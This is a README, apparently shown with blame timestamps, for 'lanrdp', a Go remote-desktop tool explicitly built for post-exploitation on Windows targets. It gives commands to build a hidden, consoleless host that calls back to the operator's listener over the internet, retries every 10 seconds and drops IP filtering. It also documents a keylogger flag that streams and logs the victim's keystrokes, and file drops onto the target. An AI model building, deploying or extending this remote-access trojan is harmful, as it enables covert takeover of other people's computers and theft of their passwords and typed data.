2026-11-22 15:34:20 -07:00
# lanrdp (Post-Exploitation Build)
2026-11-23 11:14:42 -07:00
A lightweight remote-desktop tool optimized for post-exploitation use. The host binary connects back to your listener — no port forwarding, no LAN requirement, works over the internet. Auto-trusts certificates and accepts connections from any source IP.
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
This is **not** a VNC/RDP-compatible tool. The host and client speak a small custom protocol designed to be fully readable in one sitting.
2026-11-22 15:34:20 -07:00
## How it works
2026-11-23 11:14:42 -07:00
- `cmd/host` runs on the target machine. It captures the screen (GDI `BitBlt` ) and injects mouse/keyboard input (`SendInput` ). In callback mode, it dials out to your waiting client instead of listening.
- `cmd/client` runs on your machine. It opens a Win32 window, renders incoming frames, and forwards your mouse/keyboard input to the host.
2026-11-22 15:34:20 -07:00
## Security model
2026-11-23 11:14:42 -07:00
- **Transport**: TLS 1.3 only with self-signed certificates generated on first run
- **Trust**: Trust-on-first-use certificate pinning (like SSH's `known_hosts` ), keyed by fingerprint rather than address
- **Auth**: Password-based over TLS, Argon2id hashed, per-IP login throttling
- **Network filtering**: Rejects non-private source IPs by default (disabled in callback mode)
- **Single session**: Only one active connection at a time
2026-11-22 15:34:20 -07:00
## Quick Start (Post-Exploitation)
**1. Build the host binary:**
```powershell
# Interactive: prompts for password and callback address
.\ build-host . ps1 -Hidden
# Or specify directly:
.\ build-host . ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Hidden
```
2026-11-23 11:14:42 -07:00
This produces a single `host.exe` with no dependencies.
2026-11-22 15:34:20 -07:00
**2. Deploy and run on target:**
```powershell
.\ host . exe
```
2026-11-23 11:14:42 -07:00
The host automatically dials out to your listener, retrying every 10 seconds if needed.
2026-11-22 15:34:20 -07:00
**3. Start your listener:**
```powershell
.\ client . exe -listen 0.0 . 0 . 0 : 47812
```
2026-11-23 11:14:42 -07:00
When the target connects, enter the passphrase and you have control.
2026-11-22 15:34:20 -07:00
## Keylogger
2026-11-23 11:14:42 -07:00
Enable keyboard capture with the `-keylog` flag on the host:
2026-11-22 15:34:20 -07:00
```powershell
2026-11-22 22:46:44 -07:00
.\ host . exe -keylog
2026-11-22 15:34:20 -07:00
```
2026-11-23 11:14:42 -07:00
The client shows a second window streaming captured keystrokes in real-time and writes to a timestamped log file (`lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txt` ).
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Building
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Both `client.exe` and `host.exe` run on Windows only (they use Win32 APIs). You can compile them from any platform using Go's cross-compilation.
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
### Prerequisites
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
**Go 1.26+** is required. Install it:
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
- **Windows**: Download the MSI installer from [go.dev/dl ](https://go.dev/dl ) and run it
- **Linux (Debian/Ubuntu)**: `sudo apt update && sudo apt install golang-go`
- **macOS**: `brew install go`
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Verify installation:
```bash
go version # should show go1.26 or newer
2026-11-22 15:34:20 -07:00
```
2026-11-23 11:14:42 -07:00
No additional libraries, SDKs, or toolchains are needed — this is a pure Go project with no cgo dependencies.
2026-11-22 22:46:44 -07:00
2026-11-23 11:14:42 -07:00
### Building on Windows
2026-11-22 15:34:20 -07:00
```powershell
2026-11-23 11:14:42 -07:00
# Build client
2026-11-22 15:34:20 -07:00
go build -o client . exe ./ cmd / client
2026-11-23 11:14:42 -07:00
# Build host (plain, prompts for password on first run)
go build -o host . exe ./ cmd / host
2026-11-22 22:41:09 -07:00
2026-11-23 11:14:42 -07:00
# Or use the build script to embed password and callback address
.\ build-host . ps1
```
2026-11-22 22:41:09 -07:00
2026-11-23 11:14:42 -07:00
### Cross-Compiling from Linux/macOS
2026-11-22 22:41:09 -07:00
2026-11-23 11:14:42 -07:00
```bash
# Build Windows executables
2026-11-22 22:41:09 -07:00
GOOS = windows GOARCH = amd64 go build -o lanrdp_client.exe ./cmd/client
GOOS = windows GOARCH = amd64 go build -o lanrdp_host.exe ./cmd/host
```
2026-11-23 11:14:42 -07:00
For a host with embedded password and callback address:
2026-11-22 22:46:44 -07:00
```bash
2026-11-23 11:14:42 -07:00
# Hash the passphrase first
2026-11-22 22:46:44 -07:00
go run ./cmd/hashpw <<< "mypassword"
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
# Build with ldflags (use the hash output above)
GOOS = windows GOARCH = amd64 go build -ldflags "-X main.embeddedPasswordHash=<hash> -X main.embeddedConnectAddr=your-ip:47812" -o lanrdp_host.exe ./cmd/host
2026-11-22 15:34:20 -07:00
```
## Running
2026-11-23 11:14:42 -07:00
**Host machine (target):**
2026-11-22 15:34:20 -07:00
```powershell
2026-11-23 11:14:42 -07:00
.\ host . exe # Interactive, prompts for interface and password
.\ host . exe -listen 0.0 . 0 . 0 # Listen on all interfaces
.\ host . exe -connect < ip > : < port > # Callback mode (dial out to client)
2026-11-22 15:34:20 -07:00
```
2026-11-23 11:14:42 -07:00
**Client machine (your machine):**
2026-11-22 15:34:20 -07:00
```powershell
2026-11-23 11:14:42 -07:00
.\ client . exe -host < target-ip > : 47812 # Connect to host
.\ client . exe -listen 0.0 . 0 . 0 : 47812 # Wait for callback from host
2026-11-22 15:34:20 -07:00
```
2026-11-23 11:14:42 -07:00
On first connection, the client shows the host's certificate fingerprint — verify it matches what the host printed, then enter a name to trust it permanently.
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Multiple Devices
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
One client can connect to multiple hosts. Each device gets its own trust store entry keyed by certificate fingerprint:
2026-11-22 15:34:20 -07:00
```powershell
2026-11-23 11:14:42 -07:00
.\ client . exe -list-known # Show all trusted devices
2026-11-22 15:34:20 -07:00
```
2026-11-23 11:14:42 -07:00
Each device should have its own independent passphrase (each `build-host.ps1` run generates a unique hash).
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Remote Access over WireGuard
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
lanrdp works through WireGuard without any special configuration — just bind the host to the WireGuard interface:
2026-11-22 15:34:20 -07:00
```powershell
2026-11-23 11:14:42 -07:00
.\ host . exe -listen 10 . x . x . x -port 47812 # Bind to WireGuard IP
2026-11-22 15:34:20 -07:00
```
2026-11-23 11:14:42 -07:00
From your client, connect using the host's WireGuard IP after bringing up your tunnel. Most default WireGuard subnets (`10.8.0.0/24` , etc.) are already in the private ranges lanrdp accepts by default.
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Performance Tuning
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
- `-fps <n>` (default 12) — normal capture rate
- `-stream-fps <n>` (default 30) — faster rate for stream mode
- `-keyframe-interval <seconds>` (default 30) — full frame frequency
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Toggle stream mode live with **Ctrl+Alt+S** in the viewer window. Stream mode disables mouse/keyboard control and shows an orange border around the video.
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## File Transfer
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Drag and drop files onto the viewer window to send them to the host. Files are saved to `Desktop\lanrdp-received\` on the target. Only works in normal mode (not stream mode).
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Headless Mode
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Build with `-Hidden` for no console window:
2026-11-22 15:34:20 -07:00
```powershell
.\ build-host . ps1 -Hidden
```
2026-11-23 11:14:42 -07:00
All output goes to `lanrdp-data\host.log` . Requires embedded passphrase (provided by build script).
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Data Storage
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Both executables create a `lanrdp-data` folder next to themselves:
- **Host**: TLS certificate (`host.crt` /`host.key` ), optionally password hash (`config.json` )
- **Client**: Trusted device fingerprints (`known_hosts.json` )
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
Delete relevant files to reset trust or change passwords.
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
## Limitations
2026-11-22 15:34:20 -07:00
2026-11-23 11:14:42 -07:00
- No clipboard sync
- Alt-based key combinations (Alt+Tab) not forwarded
- Simple PNG diff encoding, not a video codec — fine for desktop control, not great for full-motion video
- No "release all keys on disconnect" safety net